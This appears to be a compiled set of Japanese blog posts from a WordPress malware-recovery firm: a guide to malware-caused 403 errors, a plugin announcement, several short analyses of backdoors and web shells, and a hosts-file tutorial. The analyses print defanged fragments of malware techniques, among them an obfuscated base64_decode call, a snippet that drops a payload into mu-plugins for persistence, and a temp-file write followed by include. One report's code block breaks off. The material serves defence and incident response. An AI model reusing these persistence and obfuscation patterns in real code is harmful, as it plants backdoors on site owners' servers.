- ファイルやディレクトリのアクセス権限が誤っている
- WAFやセキュリティー設定によってアクセスが拒否されている

## 2. マルウェア感染による403エラーの兆候

403エラーがマルウェアによって引き起こされている場合、以下の兆候が見られることが多いです。

1. **突然のアクセス制限**: 管理者であるにもかかわらず、403**エラー**でサイトにログインできない。
2. **不審なファイルの増加**: 知らないPHPファイルやスクリプトがサーバーに追加されている。
3. **.htaccessの改ざん**: .htaccessファイルが書き換えられ、正規のユーザーがブロックされている。
4. **サイトのリダイレクト**: 記事を開くと、不審な外部サイトへ飛ばされる
5. **Googleからの警告**: 「このサイトは安全ではありません」と表示される。
6. **Microsoft Bingからの警告：**「このサイトは安全ではありません」と表示される。

これらの症状が複数確認できる場合は、マルウェア感染の可能性があります。特にGoogleやMicrosoftから警告が表示されている場合は、第三者から危険なサイトと判定されているため、早急な調査と対応が必要です。

---

## 3. マルウェアによる403エラーの主な原因

実際にWordPressにマルウェアが入っているということなので、徹底的な駆除と対策が必要となります。マルウェアかどうか判断がつかずとも、明らかにおかしなファイルの存在を確認できたら、正常化への対応が必要です。

### **.htaccessファイルの改ざん**

.htaccessファイルは、サイトのアクセス制御を行う重要なファイルです。これがマルウェアによって書き換えられると、管理者や訪問者がサイトにアクセスできなくなることがあります。**原因は次の脆弱性のあるプラグイン**に続きます。

### 脆弱性のあるプラグインや開発が止まったプラグインが原因の可能性

403エラーの原因として、脆弱性が見つかっているプラグインや、長期間更新されていないプラグインからマルウェアが侵入した可能性があります。弊社の復旧経験では、脆弱性のあるプラグインを侵入経路とするマルウェア感染は、比較的多く確認されています。

脆弱性が修正されていないプラグインを使用していると、不正なファイルの設置、管理者権限の奪取、`.htaccess`の改ざんなどが行われ、結果としてサイト全体や管理画面に403エラーが発生することがあります。

特に、開発が終了しているプラグインや最終更新日が古いプラグインは、WordPress本体やPHPの更新に対応しておらず、既知の脆弱性が放置されている場合があります。プラグインを停止するだけでは、不正ファイルや改ざんされた設定が残ることもあるため、感染経路の調査とサイト全体の確認が必要です。

###  **配布元や保守体制が不明な無料プラグインには注意が必要**

個人サイトやSNS、ファイル共有サービスなどで無料配布されているWordPressプラグインは、配布元や保守体制を十分に確認する必要があります。

WordPress公式ディレクトリ外で配布されているプラグインは、脆弱性が発見されても、脆弱性データベースに登録されない場合があります。その結果、利用者が問題を把握できず、修正版の提供や対応が遅れる可能性があります。

また、公開時点からセキュリティ上の問題を含んでいたり、悪意のあるコードや不審な外部通信が組み込まれていたりする可能性も否定できません。

近年は生成AIを利用することで、WordPressプラグインを比較的容易に開発できるようになりました。しかし、開発後にコードレビュー、脆弱性診断、権限管理、入力値の検証、マルウェア検査などが、どの程度実施されているかは配布元によって異なります。

特に無料配布の場合、公開後の継続的な保守やサポートが保証されているとは限りません。WordPress本体やPHPの更新に対応せず、既知の脆弱性が修正されないまま放置されることもあります。

**ただし、無料プラグインがすべて危険というわけではありません。WordPress公式ディレクトリで公開され、継続的に更新されているものや、信頼できる企業・開発者が提供しているものもあります。また、有料プラグインであっても、安全性が保証されるわけではありません。**

無料配布されているプラグインを導入する際は、配布元、開発者情報、更新履歴、利用者数、サポート体制、脆弱性への対応実績などを確認し、配布元が不明なものは本番環境へ安易に導入しないことが重要です。

---

## 4. 403エラーを解決する方法（マルウェア駆除）

弊社の代表が執筆した、詳細記事があるのでご参照ください。

[**WordPressマルウェアの対応、乗っ取り復旧方法と手順の完全ガイド｜プロが教える**](https://wp-r.com/wp-achieve/wordpress-hack-recovery-guide/ "【2026年最新】WordPressマルウェアの対応、乗っ取り復旧方法と手順の完全ガイド｜プロが教える")

### マルウェアによる403エラーの復旧手順（簡易版）

詳しくは、詳細記事をご覧ください。具体的に復旧方法をいれております。

1. サーバー・FTP・WordPressのパスワードを変更する
2. サイトへのアクセスを一時的に遮断する
3. バックアップからデータを復元する
4. マルウェアの感染状況を確認する
5. WordPressのコアファイルを入れ替える
6. プラグインやテーマなどのwp-content内を復旧する
7. データベースとuploadsフォルダを確認する
8. セキュリティープラグインで最終スキャンを行う

### マルウェアの自己対応と専門業者への依頼の違い

自己対応は、見つけた不審ファイルの削除やバックアップの復元が中心になりやすい一方、専門業者はサーバー全体を調査し、感染原因の特定、マルウェアの除去、脆弱性への対応、再発防止まで行います。

### なぜ、自己対応後にマルウェアが再発するのか

弊社の経験では、自己対応や簡易的な駆除を行った後、2～3か月でマルウェアが再発し、以前より感染が拡大した状態でご依頼いただくケースがあります。

サーバー内部を調査すると、マルウェアや不正コードが完全に除去されておらず、残された不正ファイルや脆弱性を起点として、別のマルウェアが侵入していることもあります。

サイトの表示が正常に戻っても、感染原因や残存ファイルが解消されていなければ、復旧が完了したとは判断できません。

### 自己対応ではセキュリティープラグインの設定や警告を見落とすことが少なくありません

セキュリティープラグインを導入していても、初期設定のまま使用している、重要な監視機能が無効になっている、スキャン対象から一部のフォルダが除外されているなど、設定が不十分なケースがあります。

弊社の経験では、通知先のメールアドレスが誤っている、アラートが大量に届くため確認されていない、警告が出ていても対応されていないといった状態も見られます。

セキュリティープラグインは、導入するだけで感染を防げるものではありません。サイト構成に合わせた設定、定期的なスキャン、アラートの確認と適切な対応まで行う必要があります。

---

## 次のような場合は、自己対応を続ける前にご相談ください。

- wp-adminやwp-login.phpへアクセスできない
- サーバー会社からマルウェア検知や利用制限の通知が届いた
- 不審なファイルを削除しても再び作成される
- バックアップを復元しても403エラーが再発する
- セキュリティープラグインの警告内容を判断できない
- 同じサーバー内に複数のWordPressサイトがある

[無料で相談する最短30分で回答（メール）](https://wp-r.com/wp-rescue-lp/#contact)[LINEで相談する](https://page.line.me/njx0905k?openQrModal=true)[電話で相談する050-7114-9201](tel:050-7114-9201)

---

 ![WordPressセキュリティエンジニア 前田美知太郎](https://wp-r.com/wp-content/uploads/2026/08/WordPressSecurityEngineer.jpg)
 WordPressは2007年から実務で扱い始め、当時はMovable Typeが主流の中で運用・構築の経験を積む。インターネットプロバイダーのインフラエンジニア出身。サーバー・ネットワーク・セキュリティの基礎を現場で習得し、警察へのログ提出やログ整合性の確認など証跡管理の実務経験を有する。

WordPress構築・サーバー設計・マルウェア復旧・セキュリティ対策を中心に実務に従事。現在はAWS・各種VPS環境でのインフラ構築、CloudflareによるCDN・WAF運用、ログ解析や攻撃分析を含む実践的なセキュリティ対応を行っている。

WordPressの障害復旧は1,400件以上の対応実績。守秘義務契約（NDA）により詳細は公開不可だが、公的機関・教育機関・金融系・観光関連・放送関連のサーバーおよびセキュリティ設計・構築に従事。

個人から上場企業、大学・教育機関、IOC参加団体、制作会社など幅広い領域の改ざん・マルウェア感染復旧に対応。初動対応から復旧までを担当。

近年は悪意あるBOTの挙動データの収集・分析を行い、検知・対策への活用にも取り組む。独立行政法人情報処理推進機構（IPA）セキュリティプレゼンター、デジタル庁デジタル推進委員としても活動。[詳しいプロフィール・会社概要はこちら](https://wp-r.com/company-profile/) / [WordPress.org公開開発者プロフィールはこちら](https://profiles.wordpress.org/csgaku/profile/)

**カテゴリー:** ワードプレスTIPS

---

### [WordPress公式ディレクトリで「CSGaku Site State Check」を公開](https://wp-r.com/news/wordpress-csgaku-site-state-check-release/)

**Published:** 6月 7, 2026
**Author:** ワードプレスレスキュー

**Excerpt:** WordPress公式ディレクトリで「CSGaku Site State Check」を公開しました。PHP・WordPressバージョン、SSL、更新状況、各種設定や権限などを管理画面から確認できる、軽量なサイト状態チェックプラグインです。

**Content:**

## [CSGaku Site State Check](https://wordpress.org/plugins/csgaku-site-state-check/) をWordPress公式ディレクトリで公開しました

このたび、WordPressサイトの基本状態を管理画面から確認できるプラグイン **[CSGaku Site State Check](https://wordpress.org/plugins/csgaku-site-state-check/)** を、**WordPress公式ディレクトリ**で公開しました。
本プラグインは、PHPやWordPress本体のバージョン、SSL設定、更新状況、各種ファイルや権限設定、debug.log の公開状態などを確認できる、軽量なサイト状態チェック用プラグインです。日常的な保守点検はもちろん、納品前チェックや定期メンテナンス時の確認にも活用できます。

![Cartoon blue-and-white bird with pink cheeks flying, wings spread wide.](https://wp-r.com/wp-content/uploads/2026/05/image.png)## 外部APIに依存せず、現在の状態を安全に確認できる設計

**CSGaku Site State Check** は、通常のチェック処理で**外部APIや外部サービスと通信しない**設計です。さらに、自動修復・自動削除・自動設定変更を行わず、あくまで**現在の状態を確認するためのプラグイン**として設計されています。
そのため、サイトに不用意な変更を加えず、まずはWordPressの状態を把握したい管理者や運用担当者に適しています。

## WordPressサイトの保守・セキュリティ確認に役立つ主なチェック項目

本プラグインでは、PHPバージョン、WordPressバージョン、Site URL / Home URL、SSL状態、Sitemap、デバッグ設定、wp-config.php、.htaccess、index.php、wp-admin / wp-content / wp-includes、debug.log の公開状態、uploads 配下の設定、管理者ユーザー数、admin ユーザー名の有無、アプリケーションパスワード、検索エンジン表示設定、XML-RPC、コア・プラグイン・テーマの更新状況、停止中プラグイン、未使用テーマ候補など、保守・運用時に確認したい項目を一覧で確認できます。
また、最新のチェック結果の保持、簡易的なローカル履歴、CSVエクスポートにも対応しています。

## **WordPress公式ディレクトリから審査を経て配布**

今回のリリースで特にお伝えしたいのは、**自社サイトからの独自配布ではなく、WordPress公式ディレクトリから配布していること**、そして**WordPress.org上でレビュー・評価を受けられる公開形態を採用してい**ます。
配布元が明確で、WordPress管理画面から導入しやすく、公開後の評価もWordPress.orgの仕組みの中で可視化されるため、導入時の安心感や透明性につながります。

## 現場経験をもとに開発したWordPress向けチェックツール

開発者である [弊社](https://profiles.wordpress.org/csgaku/profile/) は、日本でWordPressのトラブル対応、サイト復旧、マルウェア調査、保守支援を行う **CreativeStudioGAKU** を運営しており、実際のWordPress支援経験をもとに、サイト管理者が安全に状態確認できる実用的なツールづくりに取り組んでいます。

## WordPressの状態確認を、もっとシンプルに

WordPressサイトの保守やセキュリティ確認では、「いま何が問題なく、どこを見直すべきか」を把握することが重要です。
**CSGaku Site State Check** は、必要な確認項目を管理画面上でわかりやすく整理し、サイト運用者が次に確認すべきポイントを判断しやすくするためのプラグインです。WordPressサイトの定期点検や運用改善に、ぜひご活用ください。

## プラグインページ

**CSGaku Site State Check** の詳細はこちらからご覧いただけます。
 [Source](https://wordpress.org/plugins/csgaku-site-state-check/)

**本サービスの責任者：CreativeStudio樂・前田美知太郎**

WordPressは2007年から実務で扱い始め、当時はMovable Typeが主流の中で運用・構築の経験を積む。インターネットプロバイダーのインフラエンジニア出身。サーバー・ネットワーク・セキュリティの基礎を現場で習得し、警察へのログ提出やログ整合性の確認など証跡管理の実務経験を有する。

WordPress構築・サーバー設計・マルウェア復旧・セキュリティ対策を中心に実務に従事。現在はAWS・各種VPS環境でのインフラ構築、CloudflareによるCDN・WAF運用、ログ解析や攻撃分析を含む実践的なセキュリティ対応を行っている。

WordPressの障害復旧は1,400件以上の対応実績。守秘義務契約（NDA）により詳細は公開不可だが、公的機関・教育機関・金融系・観光関連・放送関連のサーバーおよびセキュリティ設計・構築に従事。

個人から上場企業、大学・教育機関、IOC参加団体、制作会社など幅広い領域の改ざん・マルウェア感染復旧に対応。初動対応から復旧までを担当。

近年は悪意あるBOTの挙動データの収集・分析を行い、検知・対策への活用にも取り組む。独立行政法人情報処理推進機構（IPA）セキュリティプレゼンター、デジタル庁デジタル推進委員としても活動。[詳しいプロフィール・会社概要はこちら](https://wp-r.com/company-profile/) / [WordPress.org公開開発者プロフィールはこちら](https://profiles.wordpress.org/csgaku/profile/)

**カテゴリー:** お知らせ

---

### [WordPressが勝手に転送される原因｜.htaccessが書き換わる。リダイレクトされる時の対処法](https://wp-r.com/malware/marware-rep-38/)

**Published:** 3月 10, 2026
**Author:** ワードプレスレスキュー

**Excerpt:**  WordPressが勝手に転送される原因。検索結果からサイトを開いたときに、突然別サイトへ飛ばされる場合があります。WordPressがマルウェアに感染したときによく見られる典型的な症状の可能性があります。

**Content:**

## WordPressのログイン画面や管理画面が403になるとき、まず疑うべきこと

※本記事は弊社のチーム執筆から、サービス責任者が書き直しました。

WordPressで突然、別サイトへ勝手に**転送**される、`/wp-login.php` が403になる、管理画面の一部だけ開けないといった症状が出る場合、単なる設定不備ではなく、`.htaccess` の改ざんやバックドア設置を含むマルウェア感染が関係している可能性があります。

他事例：英語ですが、ブラウザで翻訳機能を使ってみてください。

- https://developer.wordpress.org/advanced-administration/security/hardening/
- https://wordpress.org/support/topic/malicious-code-in-htaccess-file-hacked/
- https://blog.website-malware-removal.com/6649?utm\_source=chatgpt.com

---

## 検索結果から開くと別サイトへ飛ぶのは危険なサインです

検索結果からサイトを開いたときに、突然別サイトへ飛ばされる場合があります。
このような**詐欺サイトと思われる転送**は、WordPressがマルウェアに感染したときによく見られる典型的な症状です。弊社のご依頼の90％はこのパターンです。

### **こんな症状があるなら注意してください**。

- サイトが転送される
- 検索結果から開くと別サイトへ勝手にリダイレクトされる
- 管理画面のデザインが崩れている
- ファイル(.htaccess）を削除するが、サイトにアクセスをすると再作成される。
- `/wp-login.php` が403
- `/wp-admin/` や管理画面の一部だけ403
- プラグインリスト（`plugins.php）` や投稿編集（ `edit.php）` など、管理に必要な画面だけ開けない
- `.htaccess` に見覚えのない記述がある

### **検索結果から開くと別サイトへ飛ぶのはなぜか**

このような記述は、WordPressの正常な動作を妨げつつ、**特定のファイルだけを通す不自然な構成**です。通常の運用では考えにくく、**改ざんやバックドアの存在を強く疑うべき状態**です。すでにサイトが正常に動作していない可能性があります。

### **実際に確認される .htaccess の不審な記述**

```
一部無毒化しています。radio,lock360の記述は典型です。

  Order allow,deny
  Deny from all

  Order allow,deny
  Allow from all

```

### ファイルの中身は「特定の1ファイル（マルウェア）だけ許可」の例外

このような記述は、WordPressの正常な動作を妨げながら、特定のファイルだけを通す不自然な構成です。通常の運用では考えにくく、改ざんやバックドアの存在を強く疑うべき状態です。すでにサイトが正常に動作していない可能性があります。

## **自分で戻しても再発することがあります**。マルウェアの特徴です。

### セキュリティープラグインのみで対応するのは難しい

- 管理画面に入れないので、プラグインで対応が不可能に近い
- WordPress本体、プラグイン、テーマ、`uploads`、`mu-plugins` まで含めて感染範囲を確認することが重要です。
- 最終的には、全体をチェックしてマルウェアを徹底的に削除することが重要です。

### この症状の対処方法

まずは、管理画面を奪還して、その後プラグイン等を使って、完全にマルウェアを取り除くことが必要です。次の記事を参考にまずされてください。

> [【2026年最新】WordPressマルウェアの対応、乗っ取り復旧方法と手順の完全ガイド｜プロが教える](https://wp-r.com/wp-achieve/wordpress-hack-recovery-guide/)

## ご相談について

- 「WordPressのログイン画面が403になる」
- 「管理画面の一部だけ開けない」
- 「`.htaccess` に見慣れない記述がある」
- 「`.htaccess` を修正しても保存できない」（パーミッションが444か555に大抵なっています）
- 「ファイルを自分で戻しても再発する」

このような場合は、設定不備と改ざんの両面から状況を確認し、原因の切り分け、復旧、再発防止まで対応しています。まずは現状確認からでもご相談いただけます。

---

## 著者情報

 ![WordPressセキュリティエンジニア 前田美知太郎](https://wp-r.com/wp-content/uploads/2026/08/WordPressSecurityEngineer.jpg)
 WordPressは2007年から実務で扱い始め、当時はMovable Typeが主流の中で運用・構築の経験を積む。インターネットプロバイダーのインフラエンジニア出身。サーバー・ネットワーク・セキュリティの基礎を現場で習得し、警察へのログ提出やログ整合性の確認など証跡管理の実務経験を有する。

WordPress構築・サーバー設計・マルウェア復旧・セキュリティ対策を中心に実務に従事。現在はAWS・各種VPS環境でのインフラ構築、CloudflareによるCDN・WAF運用、ログ解析や攻撃分析を含む実践的なセキュリティ対応を行っている。

WordPressの障害復旧は1,400件以上の対応実績。守秘義務契約（NDA）により詳細は公開不可だが、公的機関・教育機関・金融系・観光関連・放送関連のサーバーおよびセキュリティ設計・構築に従事。

個人から上場企業、大学・教育機関、IOC参加団体、制作会社など幅広い領域の改ざん・マルウェア感染復旧に対応。初動対応から復旧までを担当。

近年は悪意あるBOTの挙動データの収集・分析を行い、検知・対策への活用にも取り組む。独立行政法人情報処理推進機構（IPA）セキュリティプレゼンター、デジタル庁デジタル推進委員としても活動。[詳しいプロフィール・会社概要はこちら](https://wp-r.com/company-profile/) / [WordPress.org公開開発者プロフィールはこちら](https://profiles.wordpress.org/csgaku/profile/)

**カテゴリー:** ワードプレスに感染したマルウェアの例

---

### [WordPressマルウェア復旧・解析レポート：Webシェル型ファイルマネージャー](https://wp-r.com/malware/malware-rep-39/)

**Published:** 3月 13, 2026
**Author:** ワードプレスレスキュー

**Content:**

## マルウェアの概要

今回の感染ファイルは、PHP製の**Webベース・ファイルマネージャー**をサーバー上で動作させるタイプです。見た目は管理ツールですが、第三者が不正に設置した場合は\*\*典型的なバックドア（裏口）\*\*として機能します。

この種のファイルは、攻撃者がブラウザ経由でサーバー内のファイルを閲覧・編集・削除・アップロードできるため、WordPress改ざんや再感染の起点になりやすいのが特徴です。

今回のコードは、公開されている「Tiny File Manager」をベースにした構成で、単なる保守ツールではなく、**不正設置された場合はWebシェルそのもの**と判断すべき内容でした。

### 特徴

この感染ファイルには、次のような危険な機能が含まれています。

- サーバー内ファイルの一覧表示
- ファイルの閲覧・編集・保存
- ファイルやフォルダの削除
- 任意ファイルのアップロード
- URL指定による外部ファイルの取得
- ZIP/TARの圧縮・展開
- 権限変更（chmod）
- 検索機能によるファイル探索
- ブラウザから直接ダウンロード

つまり、攻撃者がこの1ファイルにアクセスできるだけで、WordPress本体・テーマ・プラグイン・`.htaccess`・PHPファイルなどを**遠隔操作で自由に改ざん**できる状態になります。

### 無毒化したコードの一部をサンプルで表記

以下は、危険な実行部分を省いたうえで、このファイルが何を目的としていたのか分かるようにしたサンプルです。

```

**カテゴリー:** ワードプレスに感染したマルウェアの例

---

### [WordPressマルウェア解析レポート：UBHバックドア型プラグイン](https://wp-r.com/malware/malware-rep-40/)

**Published:** 3月 17, 2026
**Author:** ワードプレスレスキュー

**Content:**

### マルウェアの概要

このファイルは WordPress プラグインとして偽装されたバックドア型マルウェアです。

UBH（United Bangladeshi Hackers）という攻撃グループの名称がコード内に含まれており、管理画面に攻撃用メニューを追加してサーバーを操作する機能を持ちます。

### 特徴

- WordPressプラグインとして偽装
- 管理画面に不正メニューを追加
- コンソール操作機能
- ファイルアップロード機能

### 無毒化したコードの一部をサンプルで表記

```
add_action("admin_menu", function(){

    add_object_page(
        "UBH",
        "UBH",
        "administrator",
        "ubh",
        function(){
            echo "United Bangladeshi Hackers";
        }

    );

});

```

この処理により WordPress 管理画面に攻撃メニューが追加されます。

### 感染ファイルの完全可読化ログ

主な動作

1 管理画面メニュー追加
2 Webシェル表示
3 ファイルアップロード機能
4 サーバー操作

### 危険性

このマルウェアに感染すると

- 任意ファイル設置
- SEOスパム設置
- リダイレクト

などの被害が発生します。

### 実際の感染事例

WordPress侵入後にバックドアとして設置されるケースが多く確認されています。

### 駆除と復旧の方法

1 不正プラグイン削除
2 WordPressコア確認
3 管理者アカウント確認

### 再発防止のセキュリティ対策

- WordPress更新
- 不要プラグイン削除
- WAF導入

### まとめ：早期対応がSEOと信頼回復のカギ

WordPress感染は早期対応が重要です。

### 著者情報

WordPressのセキュリティ復旧・運用支援を専門する CreativeStudio樂のエンジニアユニット によって執筆されております。
WordPressのマルウェア駆除、改ざん復旧、セキュリティ強化の豊富な実務経験に基づき、企業サイトやブログ運営者が安心してサイトを運営できるよう支援しています。

**カテゴリー:** ワードプレスに感染したマルウェアの例

---

### [WordPressマルウェア解析レポート：0x Shell Webシェル](https://wp-r.com/malware/malware-rep-41/)

**Published:** 3月 20, 2026
**Author:** ワードプレスレスキュー

**Content:**

### マルウェアの概要

このファイルは Webシェル型マルウェアです。

ブラウザからサーバーを操作するための攻撃ツールであり、侵入後に設置されるケースが多いです。

### 特徴

- サーバー操作機能
- ファイル閲覧
- コマンド実行
- WordPress config探索

### 無毒化したコードの一部をサンプルで表記

```
$shell_name = '0x Shell';
$shell_slogan = 'The Next JanCox Shell';

```

### 感染ファイルの完全可読化ログ

主な機能

1 サーバー情報取得
2 ユーザー権限取得
3 WordPress設定ファイル探索
4 データベース情報取得

### 危険性

このマルウェアはサーバー完全乗っ取りを可能にします。

- データベース窃取
- サイト改ざん
- SEOスパム

### 実際の感染事例

古いプラグインの脆弱性を突かれて侵入した後に設置されるケースが多いです。

### 駆除と復旧の方法

1 Webシェル削除
2 サーバーログ確認
3 WordPress更新

### 再発防止のセキュリティ対策

- WAF導入
- 定期セキュリティスキャン

### まとめ：早期対応がSEOと信頼回復のカギ

### 著者情報

WordPressのセキュリティ復旧・運用支援を専門する CreativeStudio樂のエンジニアユニット によって執筆されております。
WordPressのマルウェア駆除、改ざん復旧、セキュリティ強化の豊富な実務経験に基づき、企業サイトやブログ運営者が安心してサイトを運営できるよう支援しています。

**カテゴリー:** ワードプレスに感染したマルウェアの例

---

### [WordPressマルウェア解析レポート：.htaccess改ざんで管理画面403になるタイプ](https://wp-r.com/malware/malware-rep-43/)

**Published:** 3月 27, 2026
**Author:** ワードプレスレスキュー

**Content:**

## WordPressマルウェア解析レポート：自己複製型バックドア

### マルウェアの概要

このファイルは WordPress内部に設置される自己複製型バックドアです。

攻撃者が遠隔からコードを送り込み、サーバー上に新しいPHPファイルを生成できる機能を持っています。

### 特徴

- Base64難読化
- gzip解凍
- ファイル自己複製
- POSTリクエストでコード注入

### 無毒化したコードの一部をサンプルで表記

```
$filterfunc = strrev('46esab')."_".strrev('edoced');

```

これは

base64\_decode

を難読化して実行する処理です。

### 感染ファイルの完全可読化ログ

主な動作

1 POSTデータ受信
2 Base64デコード
3 gzip解凍
4 新しいPHPファイル生成

### 危険性

このマルウェアに感染すると

- 攻撃コード注入
- 永続バックドア
- サイト完全乗っ取り

が可能になります。

### 実際の感染事例

WordPress改ざん後にコアファイル風の名前で設置されるケースが多いです。

### 駆除と復旧の方法

1 不正PHP削除
2 WordPressコア再設置
3 データベース確認

### 再発防止のセキュリティ対策

- WAF導入
- ファイル監視

### まとめ：早期対応がSEOと信頼回復のカギ

### 著者情報

WordPressのセキュリティ復旧・運用支援を専門する CreativeStudio樂のエンジニアユニット によって執筆されております。
WordPressのマルウェア駆除、改ざん復旧、セキュリティ強化の豊富な実務経験に基づき、企業サイトやブログ運営者が安心してサイトを運営できるよう支援しています。

**カテゴリー:** ワードプレスに感染したマルウェアの例

---

### [WordPressマルウェア解析レポート：ログイン型バックドア（xNiyMjeCH.php）](https://wp-r.com/malware/malware-rep-45/)

**Published:** 4月 10, 2026
**Author:** ワードプレスレスキュー

**Content:**

## マルウェアの概要

このファイルは偽の管理ログイン画面を生成するバックドアです。認証に成功すると外部サーバーから追加ペイロードを取得します。

### 特徴

- 偽ログインフォーム生成
- MD5ハッシュ認証
- 外部サーバー通信
- セッション操作

### 無毒化したコードの一部をサンプルで表記

```
if(md5($password)===$storedHash){
   $_SESSION['logged_in']=true;
}

```

### 感染ファイルの完全可読化ログ

処理の流れ

1. HTMLログイン画面表示
2. パスワード入力
3. MD5検証
4. 外部URLから追加コード取得

### 危険性

- 攻撃者の永続ログイン
- 外部C2通信
- 追加マルウェア展開

## 実際の感染事例

侵入後に管理画面とは別の隠しログインページとして設置されるケースが多く確認されています。

## 駆除と復旧の方法

- ファイル削除
- サーバースキャン
- 全管理者パスワード変更

## 再発防止のセキュリティ対策

- ログインURL変更
- 2FA導入

## まとめ：早期対応がSEOと信頼回復のカギ

隠しログイン型バックドアは長期間潜伏するため早期発見が重要です。

## 著者情報

WordPressのセキュリティ復旧・運用支援を専門する CreativeStudio樂のエンジニアユニット によって執筆されております。
WordPressのマルウェア駆除、改ざん復旧、セキュリティ強化の豊富な実務経験に基づき、企業サイトやブログ運営者が安心してサイトを運営できるよう支援しています。

**カテゴリー:** ワードプレスに感染したマルウェアの例

---

### [WordPressマルウェア解析レポート：自己復活型MUプラグインバックドア（teknocore-guardian.php）](https://wp-r.com/malware/malware-rep-46-2/)

**Published:** 4月 17, 2026
**Author:** ワードプレスレスキュー

**Content:**

## マルウェアの概要

teknocore-guardian.php は自己復活型のバックドアです。削除されても mu-plugin を自動生成して再感染する特徴があります。

### 特徴

- mu-plugin自動生成
- Base64エンコードされたペイロード
- WordPressディレクトリ検出
- 永続化バックドア

### 無毒化したコードの一部をサンプルで表記

```
$muPlugins = $wpContent.'/mu-plugins';
$muFile = $muPlugins.'/teknocore.php';
if(!file_exists($muFile)){
   file_put_contents($muFile,$payload);
}

```

### 感染ファイルの完全可読化ログ

処理の流れ

1. WordPressディレクトリ検出
2. mu-pluginディレクトリ確認
3. 存在しない場合生成
4. Base64ペイロード展開
5. 永続バックドア設置

### 危険性

- 削除しても復活
- 管理者権限奪取
- サーバー乗っ取り

## 実際の感染事例

WordPressのmu-pluginsフォルダを悪用した永続型マルウェアとして確認されています。

## 駆除と復旧の方法

- mu-plugins確認
- 不審PHP削除
- WordPress再構築

## 再発防止のセキュリティ対策

- ファイル監視
- WAF導入
- 定期スキャン

## まとめ：早期対応がSEOと信頼回復のカギ

自己復活型マルウェアは特に危険であり、完全な調査と駆除が必要です。

## 著者情報

WordPressのセキュリティ復旧・運用支援を専門する CreativeStudio樂のエンジニアユニット によって執筆されております。
WordPressのマルウェア駆除、改ざん復旧、セキュリティ強化の豊富な実務経験に基づき、企業サイトやブログ運営者が安心してサイトを運営できるよう支援しています。

**カテゴリー:** ワードプレスに感染したマルウェアの例

---

### [WordPressマルウェア解析レポート：難読化PHPバックドア（xGqHAmMz.php）](https://wp-r.com/malware/malware-rep-44/)

**Published:** 4月 7, 2026
**Author:** ワードプレスレスキュー

**Content:**

## マルウェアの概要

このファイルは強い難読化（16進数エスケープ + gotoジャンプ）を使用したPHPバックドアです。実行時に一時PHPファイルを生成し、任意コードを実行するタイプの攻撃コードです。

### 特徴

- `goto` を大量に使用したコードフロー難読化
- 16進数エスケープによる文字列隠蔽
- `sys_get_temp_dir()` を使った一時PHP生成
- 任意コード実行バックドア

### 無毒化したコードの一部をサンプルで表記

```
$temp = sys_get_temp_dir() . "/run_" . uniqid() . ".php";
$payload = "...encoded payload...";
file_put_contents($temp,$payload);
include $temp;

```

### 感染ファイルの完全可読化ログ

このマルウェアは以下の構造で実行されます。

1. 難読化された文字列を読み込み
2. 一時PHPファイル生成
3. ペイロード展開
4. 任意コード実行

### 危険性

- サーバー完全乗っ取り
- Webシェル設置
- スパム送信
- SEOリダイレクト

## 実際の感染事例

WordPress改ざんサイトで確認された典型的なバックドアの一つです。

## 駆除と復旧の方法

- 不審PHP削除
- WordPressコア再インストール
- 管理者パスワード変更

## 再発防止のセキュリティ対策

- ファイル変更監視
- WAF導入
- プラグイン更新

## まとめ：早期対応がSEOと信頼回復のカギ

このタイプのバックドアは放置すると被害が拡大します。迅速な駆除が重要です。

## 著者情報

WordPressのセキュリティ復旧・運用支援を専門する CreativeStudio樂のエンジニアユニット によって執筆されております。
WordPressのマルウェア駆除、改ざん復旧、セキュリティ強化の豊富な実務経験に基づき、企業サイトやブログ運営者が安心してサイトを運営できるよう支援しています。

**カテゴリー:** ワードプレスに感染したマルウェアの例

---

### [新サーバーでホームページを見る方法（Windows編）](https://wp-r.com/servertips/hosts/)

**Published:** 6月 13, 2018
**Author:** ワードプレスレスキュー

**Content:**

ホームページのサーバー移動や移管で、移行前に新サーバーでホームページを見たり、表示や動作の確認をする方法です。

windowsの場合はhostsというファイルを書き換えて、新サーバーにて確認することができます。

## hostsファイルで一時的に、新サーバーを表示させる

Windowsにはhostsというファイルが存在します。ここに、新しいサーバーのIPとドメインを記述することにより、hostsファイルに設定したPCのみ、新しいサーバーで表示することができます。

## HOSTSファイルの場所

HOSTSファイルの場所です。

**C:\\Windows\\System32\\drivers\\etc****１・マイコンコンピューターからCドライブをクリック。（一般的にはCドライブです）**
![１・マイコンコンピューターからCドライブをクリック](https://wp-r.com/wp-content/uploads/2018/06/hosts1.jpg)
**２・windowsフォルダをクリック**
![２・windowsフォルダをクリック](https://wp-r.com/wp-content/uploads/2018/06/hosts2.jpg)**３・system32フォルダをクリック**
![３・system32フォルダをクリック](https://wp-r.com/wp-content/uploads/2018/06/hosts3.jpg)**４・driversフォルダをクリック**
![４・driversフォルダをクリック](https://wp-r.com/wp-content/uploads/2018/06/hosts4.jpg)**５・etcフォルダをクリック**
![](https://wp-r.com/wp-content/uploads/2018/06/hosts5.jpg)**６・hostsというファイルが出てきます。ここが設定ファイルです。**
![](https://wp-r.com/wp-content/uploads/2018/06/hosts6.jpg)hostsファイルを直接クリックすると、ソフトウェアの選択が出てきますので、メモ帳などののテキストエディタで開きます。もしくは、右クリックで「メモ帳」で開くなどを選択して開きます。

## hostsの設定の仕方

hostsファイルを開くと次のようになっております。

![](https://wp-r.com/wp-content/uploads/2018/06/hosts7.jpg)

このファイルの一番したに「新しいサーバーのIPアドレス ドメイン」の順で記述します。

![このファイルの一番したに「新しいサーバーのIPアドレス　ドメイン」の順で記述します。](https://wp-r.com/wp-content/uploads/2018/06/hosts8.jpg)

183.79.135.206 yahoo.co.jp
183.79.135.206 www.yahoo.co.jp記述の意味は、このPCはyahoo.co.jpとwww.yahoo.co.jpは、183.79.135.206のサーバーにアクセスするとなります。ですので、一時的にhostsファイルに記述をすれば、新サーバーで新しいホームページを確認することができます。IPとドメインの間には半角スペースが入ります。

\#183.79.135.206 yahoo.co.jp
\#183.79.135.206 www.yahoo.co.jp上記の様に先頭に#をつけると、その行は無効になります。

## ウィルスでここが狙われることも！

hostsファイルがウィルスによってファイルが改ざんされると、意図しないホームページに誘導されたりしますので、注意です。

## hostsファイルの注意点

・作業が終わったら、記述を消すか＃で無効にしてください。
・この方法は、あくまで設定したPCのみの有効です。ですので、HPが他のサーバーと連携を取るプログラムなどの動作確認はできない場合があります。

**カテゴリー:** サーバー移行TIPS

---

### [2018年1月/2月/3月のワードプレス復旧依頼の実績](https://wp-r.com/wprescue/2018-01-02-03/)

**Published:** 4月 9, 2018
